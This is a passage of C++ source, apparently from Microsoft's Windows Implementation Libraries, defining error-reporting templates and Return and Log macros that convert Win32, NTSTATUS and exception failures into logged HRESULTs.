ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n RESULT_NORETURN_RESULT(err);\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN DWORD ReportFailure_GetLastErrorMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto err = GetLastErrorFail(__R_FN_CALL_FULL);\n auto hr = __HRESULT_FROM_WIN32(err);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n RESULT_NORETURN_RESULT(err);\n }\n\n template\n _Success_(true)\n _Translates_last_error_to_HRESULT_\n __declspec(noinline) inline HRESULT ReportFailure_GetLastErrorHrMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n return hr;\n }\n\n template<>\n _Success_(true)\n _Translates_last_error_to_HRESULT_\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_GetLastErrorHrMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template<>\n _Success_(true)\n _Translates_last_error_to_HRESULT_\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_GetLastErrorHrMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto hr = GetLastErrorFailHr(__R_FN_CALL_FULL);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template\n _Success_(true)\n _Translates_NTSTATUS_to_HRESULT_(status)\n __declspec(noinline) inline HRESULT ReportFailure_NtStatusMsg(__R_FN_PARAMS_FULL, NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto hr = wil::details::NtStatusToHr(status);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n return hr;\n }\n\n template<>\n _Success_(true)\n _Translates_NTSTATUS_to_HRESULT_(status)\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_NtStatusMsg(__R_FN_PARAMS_FULL, NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto hr = wil::details::NtStatusToHr(status);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template<>\n _Success_(true)\n _Translates_NTSTATUS_to_HRESULT_(status)\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_NtStatusMsg(__R_FN_PARAMS_FULL, NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n auto hr = wil::details::NtStatusToHr(status);\n ReportFailure_Msg(__R_FN_CALL_FULL, hr, formatString, argList);\n RESULT_NORETURN_RESULT(hr);\n }\n\n template\n __declspec(noinline) inline HRESULT ReportFailure_CaughtExceptionMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n // Pre-populate the buffer with our message, the exception message will be added to it...\n wchar_t message[2048];\n PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList);\n StringCchCatW(message, ARRAYSIZE(message), L\" -- \");\n return ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), SupportedExceptions::Default);\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_CaughtExceptionMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n // Pre-populate the buffer with our message, the exception message will be added to it...\n wchar_t message[2048];\n PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList);\n StringCchCatW(message, ARRAYSIZE(message), L\" -- \");\n RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), SupportedExceptions::Default));\n }\n\n template<>\n __declspec(noinline) inline RESULT_NORETURN HRESULT ReportFailure_CaughtExceptionMsg(__R_FN_PARAMS_FULL, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n // Pre-populate the buffer with our message, the exception message will be added to it...\n wchar_t message[2048];\n PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList);\n StringCchCatW(message, ARRAYSIZE(message), L\" -- \");\n RESULT_NORETURN_RESULT(ReportFailure_CaughtExceptionCommon(__R_FN_CALL_FULL, message, ARRAYSIZE(message), SupportedExceptions::Default));\n }\n\n\n //*****************************************************************************\n // Support for throwing custom exception types\n //*****************************************************************************\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n inline HRESULT GetErrorCode(_In_ ResultException &exception) WI_NOEXCEPT\n {\n return exception.GetErrorCode();\n }\n\n inline void SetFailureInfo(_In_ FailureInfo const &failure, _Inout_ ResultException &exception) WI_NOEXCEPT\n {\n return exception.SetFailureInfo(failure);\n }\n\n#ifdef __cplusplus_winrt\n inline HRESULT GetErrorCode(_In_ Platform::Exception^ exception) WI_NOEXCEPT\n {\n return exception->HResult;\n }\n\n inline void SetFailureInfo(_In_ FailureInfo const &, _Inout_ Platform::Exception^ exception) WI_NOEXCEPT\n {\n // no-op -- once a PlatformException^ is created, we can't modify the message, but this function must\n // exist to distinguish this from ResultException\n }\n#endif\n\n template \n RESULT_NORETURN inline void ReportFailure_CustomExceptionHelper(_Inout_ T &exception, __R_FN_PARAMS_FULL, _In_opt_ PCWSTR message = nullptr)\n {\n // When seeing the error: \"cannot convert parameter 1 from 'XXX' to 'wil::ResultException &'\"\n // Custom exceptions must be based upon either ResultException or Platform::Exception^ to be used with ResultException.h.\n // This compilation error indicates an attempt to throw an incompatible exception type.\n const HRESULT hr = GetErrorCode(exception);\n\n FailureInfo failure;\n wchar_t debugString[2048];\n char callContextString[1024];\n\n LogFailure(__R_FN_CALL_FULL, FailureType::Exception, hr, message, false, // false = does not need debug string\n debugString, ARRAYSIZE(debugString), callContextString, ARRAYSIZE(callContextString), &failure);\n\n // push the failure info context into the custom exception class\n SetFailureInfo(failure, exception);\n\n throw exception;\n }\n\n template \n __declspec(noreturn, noinline) inline void ReportFailure_CustomException(__R_FN_PARAMS _In_ T exception)\n {\n __R_FN_LOCALS_RA;\n ReportFailure_CustomExceptionHelper(exception, __R_FN_CALL_FULL);\n }\n\n template \n __declspec(noreturn, noinline) inline void ReportFailure_CustomExceptionMsg(__R_FN_PARAMS _In_ T exception, _In_ _Printf_format_string_ PCSTR formatString, ...)\n {\n va_list argList;\n va_start(argList, formatString);\n wchar_t message[2048];\n PrintLoggingMessage(message, ARRAYSIZE(message), formatString, argList);\n\n __R_FN_LOCALS_RA;\n ReportFailure_CustomExceptionHelper(exception, __R_FN_CALL_FULL, message);\n }\n#endif\n\n namespace __R_NS_NAME\n {\n //*****************************************************************************\n // Return Macros\n //*****************************************************************************\n\n __R_DIRECT_METHOD(void, Return_Hr)(__R_DIRECT_FN_PARAMS HRESULT hr) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Hr(__R_DIRECT_FN_CALL hr);\n }\n\n _Success_(true)\n _Translates_Win32_to_HRESULT_(err)\n __R_DIRECT_METHOD(HRESULT, Return_Win32)(__R_DIRECT_FN_PARAMS DWORD err) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n return wil::details::ReportFailure_Win32(__R_DIRECT_FN_CALL err);\n }\n\n _Success_(true)\n _Translates_last_error_to_HRESULT_\n __R_DIRECT_METHOD(HRESULT, Return_GetLastError)(__R_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n return wil::details::ReportFailure_GetLastErrorHr(__R_DIRECT_FN_CALL_ONLY);\n }\n\n _Success_(true)\n _Translates_NTSTATUS_to_HRESULT_(status)\n __R_DIRECT_METHOD(HRESULT, Return_NtStatus)(__R_DIRECT_FN_PARAMS NTSTATUS status) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n return wil::details::ReportFailure_NtStatus(__R_DIRECT_FN_CALL status);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n __R_DIRECT_METHOD(HRESULT, Return_CaughtException)(__R_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n return wil::details::ReportFailure_CaughtException(__R_DIRECT_FN_CALL_ONLY);\n }\n#endif\n\n __R_DIRECT_METHOD(void, Return_HrMsg)(__R_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__R_DIRECT_FN_CALL hr, formatString, argList);\n }\n\n _Success_(true)\n _Translates_Win32_to_HRESULT_(err)\n __R_DIRECT_METHOD(HRESULT, Return_Win32Msg)(__R_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n return wil::details::ReportFailure_Win32Msg(__R_DIRECT_FN_CALL err, formatString, argList);\n }\n\n _Success_(true)\n _Translates_last_error_to_HRESULT_\n __R_DIRECT_METHOD(HRESULT, Return_GetLastErrorMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n return wil::details::ReportFailure_GetLastErrorHrMsg(__R_DIRECT_FN_CALL formatString, argList);\n }\n\n _Success_(true)\n _Translates_NTSTATUS_to_HRESULT_(status)\n __R_DIRECT_METHOD(HRESULT, Return_NtStatusMsg)(__R_DIRECT_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n return wil::details::ReportFailure_NtStatusMsg(__R_DIRECT_FN_CALL status, formatString, argList);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n __R_DIRECT_METHOD(HRESULT, Return_CaughtExceptionMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n return wil::details::ReportFailure_CaughtExceptionMsg(__R_DIRECT_FN_CALL formatString, argList);\n }\n#endif\n\n //*****************************************************************************\n // Log Macros\n //*****************************************************************************\n\n _Post_satisfies_(return == hr)\n __R_DIRECT_METHOD(HRESULT, Log_Hr)(__R_DIRECT_FN_PARAMS HRESULT hr) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Hr(__R_DIRECT_FN_CALL hr);\n return hr;\n }\n\n _Post_satisfies_(return == err)\n __R_DIRECT_METHOD(DWORD, Log_Win32)(__R_DIRECT_FN_PARAMS DWORD err) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Win32(__R_DIRECT_FN_CALL err);\n return err;\n }\n\n __R_DIRECT_METHOD(DWORD, Log_GetLastError)(__R_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n return wil::details::ReportFailure_GetLastError(__R_DIRECT_FN_CALL_ONLY);\n }\n\n _Post_satisfies_(return == status)\n __R_DIRECT_METHOD(NTSTATUS, Log_NtStatus)(__R_DIRECT_FN_PARAMS NTSTATUS status) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_NtStatus(__R_DIRECT_FN_CALL status);\n return status;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n __R_DIRECT_METHOD(HRESULT, Log_CaughtException)(__R_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n return wil::details::ReportFailure_CaughtException(__R_DIRECT_FN_CALL_ONLY);\n }\n#endif\n\n __R_INTERNAL_METHOD(_Log_Hr)(__R_INTERNAL_FN_PARAMS HRESULT hr) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Hr(__R_INTERNAL_FN_CALL hr);\n }\n\n __R_INTERNAL_METHOD(_Log_GetLastError)(__R_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_GetLastError(__R_INTERNAL_FN_CALL_ONLY);\n }\n\n __R_INTERNAL_METHOD(_Log_Win32)(__R_INTERNAL_FN_PARAMS DWORD err) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Win32(__R_INTERNAL_FN_CALL err);\n }\n\n __R_INTERNAL_METHOD(_Log_NullAlloc)(__R_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Hr(__R_INTERNAL_FN_CALL E_OUTOFMEMORY);\n }\n\n __R_INTERNAL_METHOD(_Log_NtStatus)(__R_INTERNAL_FN_PARAMS NTSTATUS status) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_NtStatus(__R_INTERNAL_FN_CALL status);\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == hr)\n __R_CONDITIONAL_METHOD(HRESULT, Log_IfFailed)(__R_CONDITIONAL_FN_PARAMS HRESULT hr)\n {\n if (FAILED(hr))\n {\n __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n return hr;\n }\n\n _Post_satisfies_(return == hr)\n __R_CONDITIONAL_NOINLINE_METHOD(HRESULT, Log_IfFailedWithExpected)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, unsigned int expectedCount, ...) WI_NOEXCEPT\n {\n va_list args;\n va_start(args, expectedCount);\n\n if (FAILED(hr))\n {\n unsigned int expectedIndex;\n for (expectedIndex = 0; expectedIndex < expectedCount; ++expectedIndex)\n {\n if (hr == va_arg(args, HRESULT))\n {\n break;\n }\n }\n\n if (expectedIndex == expectedCount)\n {\n __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n }\n\n va_end(args);\n return hr;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == ret)\n __R_CONDITIONAL_METHOD(BOOL, Log_IfWin32BoolFalse)(__R_CONDITIONAL_FN_PARAMS BOOL ret)\n {\n if (!ret)\n {\n __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return ret;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == err)\n __R_CONDITIONAL_METHOD(DWORD, Log_IfWin32Error)(__R_CONDITIONAL_FN_PARAMS DWORD err)\n {\n if (FAILED_WIN32(err))\n {\n __R_CALL_INTERNAL_METHOD(_Log_Win32)(__R_CONDITIONAL_FN_CALL err);\n }\n return err;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == handle)\n __R_CONDITIONAL_METHOD(HANDLE, Log_IfHandleInvalid)(__R_CONDITIONAL_FN_PARAMS HANDLE handle)\n {\n if (handle == INVALID_HANDLE_VALUE)\n {\n __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return handle;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == handle)\n __R_CONDITIONAL_METHOD(HANDLE, Log_IfHandleNull)(__R_CONDITIONAL_FN_PARAMS HANDLE handle)\n {\n if (handle == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return handle;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer)\n __R_CONDITIONAL_TEMPLATE_METHOD(PointerT, Log_IfNullAlloc)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Log_NullAlloc)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __R_CONDITIONAL_TEMPLATE_METHOD(void, Log_IfNullAlloc)(__R_CONDITIONAL_FN_PARAMS const PointerT& pointer) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Log_NullAlloc)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == condition)\n __R_CONDITIONAL_METHOD(bool, Log_HrIf)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition)\n {\n if (condition)\n {\n __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n return condition;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == condition)\n __R_CONDITIONAL_METHOD(bool, Log_HrIfFalse)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition)\n {\n if (!condition)\n {\n __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n return condition;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer)\n __R_CONDITIONAL_TEMPLATE_METHOD(PointerT, Log_HrIfNull)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __R_CONDITIONAL_TEMPLATE_METHOD(void, Log_HrIfNull)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Log_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == condition)\n __R_CONDITIONAL_METHOD(bool, Log_GetLastErrorIf)(__R_CONDITIONAL_FN_PARAMS bool condition)\n {\n if (condition)\n {\n __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return condition;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == condition)\n __R_CONDITIONAL_METHOD(bool, Log_GetLastErrorIfFalse)(__R_CONDITIONAL_FN_PARAMS bool condition)\n {\n if (!condition)\n {\n __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return condition;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer)\n __R_CONDITIONAL_TEMPLATE_METHOD(PointerT, Log_GetLastErrorIfNull)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __R_CONDITIONAL_TEMPLATE_METHOD(void, Log_GetLastErrorIfNull)(__R_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Log_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == status)\n __R_CONDITIONAL_METHOD(NTSTATUS, Log_IfNtStatusFailed)(__R_CONDITIONAL_FN_PARAMS NTSTATUS status)\n {\n if (FAILED_NTSTATUS(status))\n {\n __R_CALL_INTERNAL_METHOD(_Log_NtStatus)(__R_CONDITIONAL_FN_CALL status);\n }\n return status;\n }\n\n _Post_satisfies_(return == hr)\n __R_DIRECT_METHOD(HRESULT, Log_HrMsg)(__R_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__R_DIRECT_FN_CALL hr, formatString, argList);\n return hr;\n }\n\n _Post_satisfies_(return == err)\n __R_DIRECT_METHOD(DWORD, Log_Win32Msg)(__R_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n wil::details::ReportFailure_Win32Msg(__R_DIRECT_FN_CALL err, formatString, argList);\n return err;\n }\n\n __R_DIRECT_METHOD(DWORD, Log_GetLastErrorMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n return wil::details::ReportFailure_GetLastErrorMsg(__R_DIRECT_FN_CALL formatString, argList);\n }\n\n _Post_satisfies_(return == status)\n __R_DIRECT_METHOD(NTSTATUS, Log_NtStatusMsg)(__R_DIRECT_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n wil::details::ReportFailure_NtStatusMsg(__R_DIRECT_FN_CALL status, formatString, argList);\n return status;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n __R_DIRECT_METHOD(HRESULT, Log_CaughtExceptionMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n return wil::details::ReportFailure_CaughtExceptionMsg(__R_DIRECT_FN_CALL formatString, argList);\n }\n#endif\n\n __R_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__R_INTERNAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n\n __R_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_GetLastErrorMsg(__R_INTERNAL_NOINLINE_FN_CALL formatString, argList);\n }\n\n __R_INTERNAL_NOINLINE_METHOD(_Log_Win32Msg)(__R_INTERNAL_NOINLINE_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Win32Msg(__R_INTERNAL_NOINLINE_FN_CALL err, formatString, argList);\n }\n\n __R_INTERNAL_NOINLINE_METHOD(_Log_NullAllocMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__R_INTERNAL_NOINLINE_FN_CALL E_OUTOFMEMORY, formatString, argList);\n }\n\n __R_INTERNAL_NOINLINE_METHOD(_Log_NtStatusMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_NtStatusMsg(__R_INTERNAL_NOINLINE_FN_CALL status, formatString, argList);\n }\n\n _Post_satisfies_(return == hr)\n __R_CONDITIONAL_NOINLINE_METHOD(HRESULT, Log_IfFailedMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (FAILED(hr))\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return hr;\n }\n\n _Post_satisfies_(return == ret)\n __R_CONDITIONAL_NOINLINE_METHOD(BOOL, Log_IfWin32BoolFalseMsg)(__R_CONDITIONAL_FN_PARAMS BOOL ret, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (!ret)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return ret;\n }\n\n _Post_satisfies_(return == err)\n __R_CONDITIONAL_NOINLINE_METHOD(DWORD, Log_IfWin32ErrorMsg)(__R_CONDITIONAL_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (FAILED_WIN32(err))\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_Win32Msg)(__R_CONDITIONAL_NOINLINE_FN_CALL err, formatString, argList);\n }\n return err;\n }\n\n _Post_satisfies_(return == handle)\n __R_CONDITIONAL_NOINLINE_METHOD(HANDLE, Log_IfHandleInvalidMsg)(__R_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (handle == INVALID_HANDLE_VALUE)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return handle;\n }\n\n _Post_satisfies_(return == handle)\n __R_CONDITIONAL_NOINLINE_METHOD(HANDLE, Log_IfHandleNullMsg)(__R_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (handle == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return handle;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer)\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(PointerT, Log_IfNullAllocMsg)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_NullAllocMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Log_IfNullAllocMsg)(__R_CONDITIONAL_FN_PARAMS const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_NullAllocMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList);\n }\n }\n\n _Post_satisfies_(return == condition)\n __R_CONDITIONAL_NOINLINE_METHOD(bool, Log_HrIfMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition)\n __R_CONDITIONAL_NOINLINE_METHOD(bool, Log_HrIfFalseMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (!condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return condition;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer)\n 